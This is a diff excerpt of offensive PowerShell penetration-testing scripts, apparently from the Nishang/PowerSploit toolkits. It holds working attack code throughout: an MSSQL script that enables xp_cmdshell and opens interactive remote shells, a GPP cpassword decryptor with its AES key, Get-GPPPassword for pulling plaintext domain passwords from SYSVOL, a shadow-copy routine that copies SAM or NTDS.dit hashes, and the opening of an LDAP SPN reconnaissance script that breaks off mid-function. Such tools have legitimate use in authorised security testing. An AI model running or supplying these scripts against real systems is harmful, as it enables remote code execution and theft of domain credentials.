https://github.com/samratashok/nishang
|
||||
|
||||
.NOTES
|
||||
Based mostly on the Get-TSSqlSysLogin by Niklas Goude and accompanying blog post at
|
||||
http://blogs.technet.com/b/heyscriptingguy/archive/2012/07/03/use-powershell-to-security-test-sql-server-and-sharepoint.aspx
|
||||
http://www.truesec.com
|
||||
|
||||
#>
|
||||
|
||||
[CmdletBinding()] Param(
|
||||
[Parameter(Mandatory = $true, Position = 0, ValueFromPipeLine= $true)]
|
||||
[Alias("PSComputerName","CN","MachineName","IP","IPAddress")]
|
||||
[string]
|
||||
$ComputerName,
|
||||
|
||||
[parameter(Mandatory = $False, Position = 1)]
|
||||
[string]
|
||||
$UserName,
|
||||
|
||||
[parameter(Mandatory = $False, Position = 2)]
|
||||
[string]
|
||||
$Password,
|
||||
|
||||
[parameter(Mandatory = $False, Position = 3)]
|
||||
[string]
|
||||
$payload,
|
||||
|
||||
[parameter()]
|
||||
[switch]
|
||||
$WindowsAuthentication
|
||||
)
|
||||
|
||||
Try{
|
||||
function Make-Connection ($query)
|
||||
{
|
||||
$Connection = New-Object System.Data.SQLClient.SQLConnection
|
||||
$Connection.ConnectionString = "Data Source=$ComputerName;Initial Catalog=Master;User Id=$userName;Password=$password;"
|
||||
if ($WindowsAuthentication -eq $True)
|
||||
{
|
||||
$Connection.ConnectionString = "Data Source=$ComputerName;Initial Catalog=Master;Trusted_Connection=Yes;"
|
||||
}
|
||||
$Connection.Open()
|
||||
$Command = New-Object System.Data.SQLClient.SQLCommand
|
||||
$Command.Connection = $Connection
|
||||
$Command.CommandText = $query
|
||||
$Reader = $Command.ExecuteReader()
|
||||
$Connection.Close()
|
||||
}
|
||||
|
||||
"Connecting to $ComputerName..."
|
||||
Make-Connection "EXEC sp_configure 'show advanced options',1; RECONFIGURE;"
|
||||
"`nEnabling XP_CMDSHELL...`n"
|
||||
Make-Connection "EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE"
|
||||
|
||||
if ($payload)
|
||||
{
|
||||
$Connection = New-Object System.Data.SQLClient.SQLConnection
|
||||
$Connection.ConnectionString = "Data Source=$ComputerName;Initial Catalog=Master;User Id=$userName;Password=$password;"
|
||||
if ($WindowsAuthentication -eq $True)
|
||||
{
|
||||
$Connection.ConnectionString = "Data Source=$ComputerName;Initial Catalog=Master;Trusted_Connection=Yes;"
|
||||
}
|
||||
$Connection.Open()
|
||||
$Command = New-Object System.Data.SQLClient.SQLCommand
|
||||
$Command.Connection = $Connection
|
||||
$cmd = "EXEC xp_cmdshell 'powershell.exe $payload'"
|
||||
$Command.CommandText = "$cmd"
|
||||
$Reader = $Command.ExecuteReader()
|
||||
while ($reader.Read()) {
|
||||
New-Object PSObject -Property @{
|
||||
Name = $reader.GetValue(0)
|
||||
}
|
||||
}
|
||||
$Connection.Close()
|
||||
}
|
||||
|
||||
else
|
||||
{
|
||||
write-host -NoNewline "Do you want a PowerShell shell (P) or a SQL Shell (S) or a cmd shell (C): "
|
||||
$shell = read-host
|
||||
while($payload -ne "exit")
|
||||
{
|
||||
$Connection = New-Object System.Data.SQLClient.SQLConnection
|
||||
$Connection.ConnectionString = "Data Source=$ComputerName;Initial Catalog=Master;User Id=$userName;Password=$password;"
|
||||
if ($WindowsAuthentication -eq $True)
|
||||
{
|
||||
$Connection.ConnectionString = "Data Source=$ComputerName;Initial Catalog=Master;Trusted_Connection=Yes;"
|
||||
}
|
||||
$Connection.Open()
|
||||
$Command = New-Object System.Data.SQLClient.SQLCommand
|
||||
$Command.Connection = $Connection
|
||||
if ($shell -eq "P")
|
||||
{
|
||||
write-host "`n`nStarting PowerShell on the target..`n"
|
||||
write-host -NoNewline "PS $ComputerName> "
|
||||
$payload = read-host
|
||||
$cmd = "EXEC xp_cmdshell 'powershell.exe -Command $payload'"
|
||||
}
|
||||
elseif ($shell -eq "S")
|
||||
{
|
||||
write-host "`n`nStarting SQL shell on the target..`n"
|
||||
write-host -NoNewline "MSSQL $ComputerName> "
|
||||
$payload = read-host
|
||||
$cmd = $payload
|
||||
}
|
||||
elseif ($shell -eq "C")
|
||||
{
|
||||
write-host "`n`nStarting cmd shell on the target..`n"
|
||||
write-host -NoNewline "CMD $ComputerName> "
|
||||
$payload = read-host
|
||||
$cmd = "EXEC xp_cmdshell 'cmd.exe /K $payload'"
|
||||
}
|
||||
|
||||
|
||||
$Command.CommandText = "$cmd"
|
||||
$Reader = $Command.ExecuteReader()
|
||||
while ($reader.Read()) {
|
||||
New-Object PSObject -Property @{
|
||||
Name = $reader.GetValue(0)
|
||||
}
|
||||
}
|
||||
$Connection.Close()
|
||||
}
|
||||
}
|
||||
|
||||
}Catch {
|
||||
$error[0]
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
|
@ -0,0 +1,36 @@
|
|||
function Get-DecryptedCpassword {
|
||||
[CmdletBinding()]
|
||||
Param (
|
||||
[string] $Cpassword
|
||||
)
|
||||
|
||||
try {
|
||||
#Append appropriate padding based on string length
|
||||
$Mod = ($Cpassword.length % 4)
|
||||
|
||||
switch ($Mod) {
|
||||
'1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
|
||||
'2' {$Cpassword += ('=' * (4 - $Mod))}
|
||||
'3' {$Cpassword += ('=' * (4 - $Mod))}
|
||||
}
|
||||
|
||||
$Base64Decoded = [Convert]::FromBase64String($Cpassword)
|
||||
|
||||
#Create a new AES .NET Crypto Object
|
||||
$AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
|
||||
[Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
|
||||
0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
|
||||
|
||||
#Set IV to all nulls to prevent dynamic generation of IV value
|
||||
$AesIV = New-Object Byte[]($AesObject.IV.Length)
|
||||
$AesObject.IV = $AesIV
|
||||
$AesObject.Key = $AesKey
|
||||
$DecryptorObject = $AesObject.CreateDecryptor()
|
||||
[Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
|
||||
|
||||
Write-Host $OutBlock # <----- Only had to add this line
|
||||
return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
|
||||
}
|
||||
|
||||
catch {Write-Error $Error[0]}
|
||||
}
|
|
@ -0,0 +1,247 @@
|
|||
function Get-GPPPassword {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.
|
||||
|
||||
PowerSploit Function: Get-GPPPassword
|
||||
Author: Chris Campbell (@obscuresec)
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
Get-GPPPassword searches a domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords.
|
||||
|
||||
.PARAMETER Server
|
||||
|
||||
Specify the domain controller to search for.
|
||||
Default's to the users current domain
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
PS C:\> Get-GPPPassword
|
||||
|
||||
NewName : [BLANK]
|
||||
Changed : {2014-02-21 05:28:53}
|
||||
Passwords : {password12}
|
||||
UserNames : {test1}
|
||||
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\DataSources\DataSources.xml
|
||||
|
||||
NewName : {mspresenters}
|
||||
Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48}
|
||||
Passwords : {Recycling*3ftw!, password123, password1234}
|
||||
UserNames : {Administrator (built-in), DummyAccount, dummy2}
|
||||
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml
|
||||
|
||||
NewName : [BLANK]
|
||||
Changed : {2014-02-21 05:29:53, 2014-02-21 05:29:52}
|
||||
Passwords : {password, password1234$}
|
||||
UserNames : {administrator, admin}
|
||||
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\ScheduledTasks\ScheduledTasks.xml
|
||||
|
||||
NewName : [BLANK]
|
||||
Changed : {2014-02-21 05:30:14, 2014-02-21 05:30:36}
|
||||
Passwords : {password, read123}
|
||||
UserNames : {DEMO\Administrator, admin}
|
||||
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Services\Services.xml
|
||||
|
||||
.EXAMPLE
|
||||
PS C:\> Get-GPPPassword -Server EXAMPLE.COM
|
||||
|
||||
NewName : [BLANK]
|
||||
Changed : {2014-02-21 05:28:53}
|
||||
Passwords : {password12}
|
||||
UserNames : {test1}
|
||||
File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB982DA}\MACHINE\Preferences\DataSources\DataSources.xml
|
||||
|
||||
NewName : {mspresenters}
|
||||
Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48}
|
||||
Passwords : {Recycling*3ftw!, password123, password1234}
|
||||
UserNames : {Administrator (built-in), DummyAccount, dummy2}
|
||||
File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB9AB12}\MACHINE\Preferences\Groups\Groups.xml
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
PS C:\> Get-GPPPassword | ForEach-Object {$_.passwords} | Sort-Object -Uniq
|
||||
|
||||
password
|
||||
password12
|
||||
password123
|
||||
password1234
|
||||
password1234$
|
||||
read123
|
||||
Recycling*3ftw!
|
||||
|
||||
.LINK
|
||||
|
||||
http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html
|
||||
https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1
|
||||
http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
|
||||
http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
|
||||
#>
|
||||
|
||||
[CmdletBinding()]
|
||||
Param (
|
||||
[ValidateNotNullOrEmpty()]
|
||||
[String]
|
||||
$Server = $Env:USERDNSDOMAIN
|
||||
)
|
||||
|
||||
#Some XML issues between versions
|
||||
Set-StrictMode -Version 2
|
||||
|
||||
#define helper function that decodes and decrypts password
|
||||
function Get-DecryptedCpassword {
|
||||
[CmdletBinding()]
|
||||
Param (
|
||||
[string] $Cpassword
|
||||
)
|
||||
|
||||
try {
|
||||
#Append appropriate padding based on string length
|
||||
$Mod = ($Cpassword.length % 4)
|
||||
|
||||
switch ($Mod) {
|
||||
'1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
|
||||
'2' {$Cpassword += ('=' * (4 - $Mod))}
|
||||
'3' {$Cpassword += ('=' * (4 - $Mod))}
|
||||
}
|
||||
|
||||
$Base64Decoded = [Convert]::FromBase64String($Cpassword)
|
||||
|
||||
#Create a new AES .NET Crypto Object
|
||||
$AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
|
||||
[Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
|
||||
0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
|
||||
|
||||
#Set IV to all nulls to prevent dynamic generation of IV value
|
||||
$AesIV = New-Object Byte[]($AesObject.IV.Length)
|
||||
$AesObject.IV = $AesIV
|
||||
$AesObject.Key = $AesKey
|
||||
$DecryptorObject = $AesObject.CreateDecryptor()
|
||||
[Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
|
||||
|
||||
return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
|
||||
}
|
||||
|
||||
catch {Write-Error $Error[0]}
|
||||
}
|
||||
|
||||
#define helper function to parse fields from xml files
|
||||
function Get-GPPInnerFields {
|
||||
[CmdletBinding()]
|
||||
Param (
|
||||
$File
|
||||
)
|
||||
|
||||
try {
|
||||
|
||||
$Filename = Split-Path $File -Leaf
|
||||
[xml] $Xml = Get-Content ($File)
|
||||
|
||||
#declare empty arrays
|
||||
$Cpassword = @()
|
||||
$UserName = @()
|
||||
$NewName = @()
|
||||
$Changed = @()
|
||||
$Password = @()
|
||||
|
||||
#check for password field
|
||||
if ($Xml.innerxml -like "*cpassword*"){
|
||||
|
||||
Write-Verbose "Potential password in $File"
|
||||
|
||||
switch ($Filename) {
|
||||
|
||||
'Groups.xml' {
|
||||
$Cpassword += , $Xml | Select-Xml "/Groups/User/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
$UserName += , $Xml | Select-Xml "/Groups/User/Properties/@userName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
$NewName += , $Xml | Select-Xml "/Groups/User/Properties/@newName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
$Changed += , $Xml | Select-Xml "/Groups/User/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
}
|
||||
|
||||
'Services.xml' {
|
||||
$Cpassword += , $Xml | Select-Xml "/NTServices/NTService/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
$UserName += , $Xml | Select-Xml "/NTServices/NTService/Properties/@accountName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
$Changed += , $Xml | Select-Xml "/NTServices/NTService/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
}
|
||||
|
||||
'Scheduledtasks.xml' {
|
||||
$Cpassword += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
$UserName += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@runAs" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
$Changed += , $Xml | Select-Xml "/ScheduledTasks/Task/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
}
|
||||
|
||||
'DataSources.xml' {
|
||||
$Cpassword += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
$UserName += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
$Changed += , $Xml | Select-Xml "/DataSources/DataSource/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
}
|
||||
|
||||
'Printers.xml' {
|
||||
$Cpassword += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
$UserName += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
$Changed += , $Xml | Select-Xml "/Printers/SharedPrinter/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
}
|
||||
|
||||
'Drives.xml' {
|
||||
$Cpassword += , $Xml | Select-Xml "/Drives/Drive/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
$UserName += , $Xml | Select-Xml "/Drives/Drive/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
$Changed += , $Xml | Select-Xml "/Drives/Drive/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
foreach ($Pass in $Cpassword) {
|
||||
Write-Verbose "Decrypting $Pass"
|
||||
$DecryptedPassword = Get-DecryptedCpassword $Pass
|
||||
Write-Verbose "Decrypted a password of $DecryptedPassword"
|
||||
#append any new passwords to array
|
||||
$Password += , $DecryptedPassword
|
||||
}
|
||||
|
||||
#put [BLANK] in variables
|
||||
if (!($Password)) {$Password = '[BLANK]'}
|
||||
if (!($UserName)) {$UserName = '[BLANK]'}
|
||||
if (!($Changed)) {$Changed = '[BLANK]'}
|
||||
if (!($NewName)) {$NewName = '[BLANK]'}
|
||||
|
||||
#Create custom object to output results
|
||||
$ObjectProperties = @{'Passwords' = $Password;
|
||||
'UserNames' = $UserName;
|
||||
'Changed' = $Changed;
|
||||
'NewName' = $NewName;
|
||||
'File' = $File}
|
||||
|
||||
$ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties
|
||||
Write-Verbose "The password is between {} and may be more than one value."
|
||||
if ($ResultsObject) {Return $ResultsObject}
|
||||
}
|
||||
|
||||
catch {Write-Error $Error[0]}
|
||||
}
|
||||
|
||||
try {
|
||||
#ensure that machine is domain joined and script is running as a domain account
|
||||
if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) ) {
|
||||
throw 'Machine is not a domain member or User is not a member of the domain.'
|
||||
}
|
||||
|
||||
#discover potential files containing passwords ; not complaining in case of denied access to a directory
|
||||
Write-Verbose "Searching \\$Server\SYSVOL. This could take a while."
|
||||
$XMlFiles = Get-ChildItem -Path "\\$Server\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml'
|
||||
|
||||
if ( -not $XMlFiles ) {throw 'No preference files found.'}
|
||||
|
||||
Write-Verbose "Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords."
|
||||
|
||||
foreach ($File in $XMLFiles) {
|
||||
$Result = (Get-GppInnerFields $File.Fullname)
|
||||
Write-Output $Result
|
||||
}
|
||||
}
|
||||
|
||||
catch {Write-Error $Error[0]}
|
||||
}
|
|
@ -0,0 +1,133 @@
|
|||
function Get-PasswordFile {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
Copies either the SAM or NTDS.dit and system files to a specified directory.
|
||||
|
||||
.PARAMETER DestinationPath
|
||||
|
||||
Specifies the directory to the location where the password files are to be copied.
|
||||
|
||||
.OUTPUTS
|
||||
|
||||
None or an object representing the copied items.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
Get-PasswordFile "c:\users\public"
|
||||
|
||||
#>
|
||||
|
||||
[CmdletBinding()]
|
||||
Param
|
||||
(
|
||||
[Parameter(Mandatory = $true, Position = 0)]
|
||||
[ValidateScript({Test-Path $_ -PathType 'Container'})]
|
||||
[ValidateNotNullOrEmpty()]
|
||||
[String]
|
||||
$DestinationPath
|
||||
)
|
||||
|
||||
#Define Copy-RawItem helper function from http://gallery.technet.microsoft.com/scriptcenter/Copy-RawItem-Private-NET-78917643
|
||||
function Copy-RawItem
|
||||
{
|
||||
|
||||
[CmdletBinding()]
|
||||
[OutputType([System.IO.FileSystemInfo])]
|
||||
Param (
|
||||
[Parameter(Mandatory = $True, Position = 0)]
|
||||
[ValidateNotNullOrEmpty()]
|
||||
[String]
|
||||
$Path,
|
||||
|
||||
[Parameter(Mandatory = $True, Position = 1)]
|
||||
[ValidateNotNullOrEmpty()]
|
||||
[String]
|
||||
$Destination,
|
||||
|
||||
[Switch]
|
||||
$FailIfExists
|
||||
)
|
||||
|
||||
# Get a reference to the internal method - Microsoft.Win32.Win32Native.CopyFile()
|
||||
$mscorlib = [AppDomain]::CurrentDomain.GetAssemblies() | ? {$_.Location -and ($_.Location.Split('\')[-1] -eq 'mscorlib.dll')}
|
||||
$Win32Native = $mscorlib.GetType('Microsoft.Win32.Win32Native')
|
||||
$CopyFileMethod = $Win32Native.GetMethod('CopyFile', ([Reflection.BindingFlags] 'NonPublic, Static'))
|
||||
|
||||
# Perform the copy
|
||||
$CopyResult = $CopyFileMethod.Invoke($null, @($Path, $Destination, ([Bool] $PSBoundParameters['FailIfExists'])))
|
||||
|
||||
$HResult = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
|
||||
|
||||
if ($CopyResult -eq $False -and $HResult -ne 0)
|
||||
{
|
||||
# An error occured. Display the Win32 error set by CopyFile
|
||||
throw ( New-Object ComponentModel.Win32Exception )
|
||||
}
|
||||
else
|
||||
{
|
||||
Write-Output (Get-ChildItem $Destination)
|
||||
}
|
||||
}
|
||||
|
||||
#Check for admin rights
|
||||
if (-NOT ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator"))
|
||||
{
|
||||
Write-Error "Not running as admin. Run the script with elevated credentials"
|
||||
Return
|
||||
}
|
||||
|
||||
#Get "vss" service startup type
|
||||
$VssStartMode = (Get-WmiObject -Query "Select StartMode From Win32_Service Where Name='vss'").StartMode
|
||||
if ($VssStartMode -eq "Disabled") {Set-Service vss -StartUpType Manual}
|
||||
|
||||
#Get "vss" Service status and start it if not running
|
||||
$VssStatus = (Get-Service vss).status
|
||||
if ($VssStatus -ne "Running") {Start-Service vss}
|
||||
|
||||
#Check to see if we are on a DC
|
||||
$DomainRole = (Get-WmiObject Win32_ComputerSystem).DomainRole
|
||||
$IsDC = $False
|
||||
if ($DomainRole -gt 3) {
|
||||
$IsDC = $True
|
||||
$NTDSLocation = (Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\services\NTDS\Parameters)."DSA Database File"
|
||||
$FileDrive = ($NTDSLocation).Substring(0,3)
|
||||
} else {$FileDrive = $Env:HOMEDRIVE + '\'}
|
||||
|
||||
#Create a volume shadow filedrive
|
||||
$WmiClass = [WMICLASS]"root\cimv2:Win32_ShadowCopy"
|
||||
$ShadowCopy = $WmiClass.create($FileDrive, "ClientAccessible")
|
||||
$ReturnValue = $ShadowCopy.ReturnValue
|
||||
|
||||
if ($ReturnValue -ne 0) {
|
||||
Write-Error "Shadow copy failed with a value of $ReturnValue"
|
||||
Return
|
||||
}
|
||||
|
||||
#Get the DeviceObject Address
|
||||
$ShadowID = $ShadowCopy.ShadowID
|
||||
$ShadowVolume = (Get-WmiObject Win32_ShadowCopy | Where-Object {$_.ID -eq $ShadowID}).DeviceObject
|
||||
|
||||
#If not a DC, copy System and SAM to specified directory
|
||||
if ($IsDC -ne $true) {
|
||||
|
||||
$SamPath = Join-Path $ShadowVolume "\Windows\System32\Config\sam"
|
||||
$SystemPath = Join-Path $ShadowVolume "\Windows\System32\Config\system"
|
||||
|
||||
#Utilizes Copy-RawItem from Matt Graeber
|
||||
Copy-RawItem $SamPath "$DestinationPath\sam"
|
||||
Copy-RawItem $SystemPath "$DestinationPath\system"
|
||||
} else {
|
||||
|
||||
#Else copy the NTDS.dit and system files to the specified directory
|
||||
$NTDSPath = Join-Path $ShadowVolume "\Windows\NTDS\NTDS.dit"
|
||||
$SystemPath = Join-Path $ShadowVolume "\Windows\System32\Config\system"
|
||||
|
||||
Copy-RawItem $NTDSPath "$DestinationPath\ntds"
|
||||
Copy-RawItem $SystemPath "$DestinationPath\system"
|
||||
}
|
||||
|
||||
#Return "vss" service to previous state
|
||||
If ($VssStatus -eq "Stopped") {Stop-Service vss}
|
||||
If ($VssStartMode -eq "Disabled") {Set-Service vss -StartupType Disabled}
|
||||
}
|
|
@ -0,0 +1,274 @@
|
|||
# Author: Scott Sutherland 2013, NetSPI
|
||||
# Version: Get-SPN version 1.1
|
||||
# Requirements: Powershell v.3
|
||||
# Comments: The technique used to query LDAP was based on the "Get-AuditDSDisabledUserAcount"
|
||||
# function found in Carols Perez's PoshSec-Mod project.#
|
||||
|
||||
|
||||
function Get-SPN
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Displays Service Principal Names (SPN) for domain accounts based on SPN service name, domain account, or domain group via LDAP queries.
|
||||
|
||||
.DESCRIPTION
|
||||
Displays Service Principal Names (SPN) for domain accounts based on SPN service name, domain
|
||||
account, or domain group via LDAP queries. This information can be used to identify systems
|
||||
running specific service and the domain accounts running them. For example, this script
|
||||
could be used to locate domain systems where SQL Server has been installed. It can also be
|
||||
used to help find systems where members of the Domain Admins group might be logged in if the
|
||||
accounts where used to run services on the domain (which is very common). So this should be
|
||||
handy for both system administrators and penetration testers. The script currentls supports
|
||||
trusted connections and provided credentials.
|
||||
|
||||
.EXAMPLE
|
||||
Return a list of SQL Servers that have registered SPNs in LDAP on the current user's domain.
|
||||
|
||||
PS C:\Get-SPN -type service -search "MSSQLSvc*"
|
||||
|
||||
Name : sql admin
|
||||
SAMAccount : sqladmin
|
||||
Description : This account is used to run SQL Server services on the domain.
|
||||
UserPrincipal : sqladmin@demo.com
|
||||
DN : CN=sql admin,CN=Users,DC=demo,DC=com
|
||||
Created : 9/3/2010 9:42:08 PM
|
||||
LastModified : 12/27/2013 6:40:35 PM
|
||||
PasswordLastSet : 12/27/2013 12:40:35 PM
|
||||
AccountExpires : <Never>
|
||||
LastLogon : 12/27/2013 8:46:10 PM
|
||||
GroupMembership : CN=Domain Admins,CN=Users,DC=demo,DC=com CN=Remote Desktop Users,CN=Builtin,DC=demo,DC=com
|
||||
SPN Count : 1
|
||||
|
||||
ServicePrincipalNames (SPN):
|
||||
MSSQLSvc/DB1.demo.com:1433
|
||||
|
||||
.EXAMPLE
|
||||
Return a list of SQL Servers that have registered SPNs in LDAP on the current user's domain in list view. This output can be piped.
|
||||
PS C:\Get-SPN -type service -search "MSSQLSvc*" -List yes | Format-Table -AutoSize
|
||||
|
||||
Account Server Service
|
||||
------- ------ -------
|
||||
sqladmin DB1.demo.com MSSQLSvc
|
||||
|
||||
.EXAMPLE
|
||||
Using supplied credentials return a list of SQL Servers that have registered SPNs in LDAP for the default domain of a remote domain controller.
|
||||
PS C:\Get-SPN -type service -search "MSSQLSvc*" -List yes -DomainController 192.168.1.100 -Credential domain\user | Format-Table -AutoSize
|
||||
|
||||
Account Server Service
|
||||
------- ------ -------
|
||||
sqladmin DB1.demo.com MSSQLSvc
|
||||
|
||||
.EXAMPLE
|
||||
Using supplied credentials return a list of SQL Servers that have registered SPNs in LDAP for the default domain of a remote domain controller, but select one column.
|
||||
PS C:\Get-SPN -type service -search "MSSQLSvc*" -List yes -DomainController 192.168.1.100 -Credential domain\user | Select Server | Format-Table -AutoSize
|
||||
|
||||
Account
|
||||
-------
|
||||
sqladmin
|
||||
|
||||
.EXAMPLE
|
||||
Using supplied credentials to authenticate to a remote domain controller query LDAP to return a list of servers where the supplied user is registered to run services.
|
||||
PS C:\Get-SPN -type user -search "*sql*" -List yes -DomainController 192.168.1.100 -Credential domain\user -list yes | Format-Table -AutoSize
|
||||
|
||||
Account Server Service
|
||||
------- ------ -------
|
||||
sqladmin DB1.demo.com MSSQLSvc
|
||||
|
||||
.EXAMPLE
|
||||
Using supplied credentials to authenticate to a remote domain controller query LDAP to return a list of servers where the supplied group members are registered to run services.
|
||||
PS C:\ Get-SPN -type group -search "Domain Admins" -List yes -DomainController 192.168.1.100 -Credential domain\user
|
||||
|
||||
Account Server Service
|
||||
------- ------ -------
|
||||
Administrator DB1.demo.com MSSQLSvc
|
||||
sqladmin DB1.demo.com MSSQLSvc
|
||||
svc_PoolAdmin hav3.demo.com www
|
||||
|
||||
.LINK
|
||||
http://www.netspi.com
|
||||
http://msdn.microsoft.com/en-us/library/windows/desktop/ms677949(v=vs.85).aspx
|
||||
http://technet.microsoft.com/en-us/library/cc731241.aspx
|
||||
http://technet.microsoft.com/en-us/library/cc978021.aspx
|
||||
#>
|
||||
[CmdletBinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$false,
|
||||
HelpMessage="Credentials to use when connecting to a Domain Controller.")]
|
||||
[System.Management.Automation.PSCredential]
|
||||
[System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
|
||||
|
||||
[Parameter(Mandatory=$false,
|
||||
HelpMessage="Domain controller for Domain and Site that you want to query against.")]
|
||||
[string]$DomainController,
|
||||
|
||||
[Parameter(Mandatory=$false,
|
||||
HelpMessage="Maximum number of Objects to pull from AD, limit is 1,000 .")]
|
||||
[int]$Limit = 1000,
|
||||
|
||||
[Parameter(Mandatory=$false,
|
||||
HelpMessage="scope of a search as either a base, one-level, or subtree search, default is subtree.")]
|
||||
[ValidateSet("Subtree","OneLevel","Base")]
|
||||
[string]$SearchScope = "Subtree",
|
||||
|
||||
[Parameter(Mandatory=$false,
|
||||
HelpMessage="Distinguished Name Path to limit search to.")]
|
||||
[string]$SearchDN,
|
||||
|
||||
[Parameter(Mandatory=$True,
|
||||
HelpMessage="Search by domain user, domain group, or SPN service name to search for.")]
|
||||
[string]$Type,
|
||||
|
||||
[Parameter(Mandatory=$True,
|
||||
HelpMessage="Define search for user, group, or SPN service name. Wildcards are accepted")]
|
||||
[string]$Search,
|
||||
|
||||
[Parameter(Mandatory=$false,
|
||||
HelpMessage="View minimal information that includes the accounts,affected systems,and registered services. Nice for getting quick list of DAs.")]
|
||||
[string]$List
|
||||
)
|
||||
|
||||
Begin
|
||||
{
|
||||
# Setup domain user and domain controller (if provided)
|
||||
if ($DomainController -and $Credential.GetNetworkCredential().Password)
|
||||
{
|
||||
$ObjDomain = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$($DomainController)", $Credential.UserName,$Credential.GetNetworkCredential().Password
|
||||
$ObjSearcher = New-Object System.DirectoryServices.DirectorySearcher $ObjDomain
|
||||
}
|
||||
else
|
||||
{
|
||||
$ObjDomain = [ADSI]""
|
||||
$ObjSearcher = New-Object System.DirectoryServices.DirectorySearcher $ObjDomain
|
||||
}
|
||||
}
|
||||
|
||||
Process
|
||||
{
|
||||
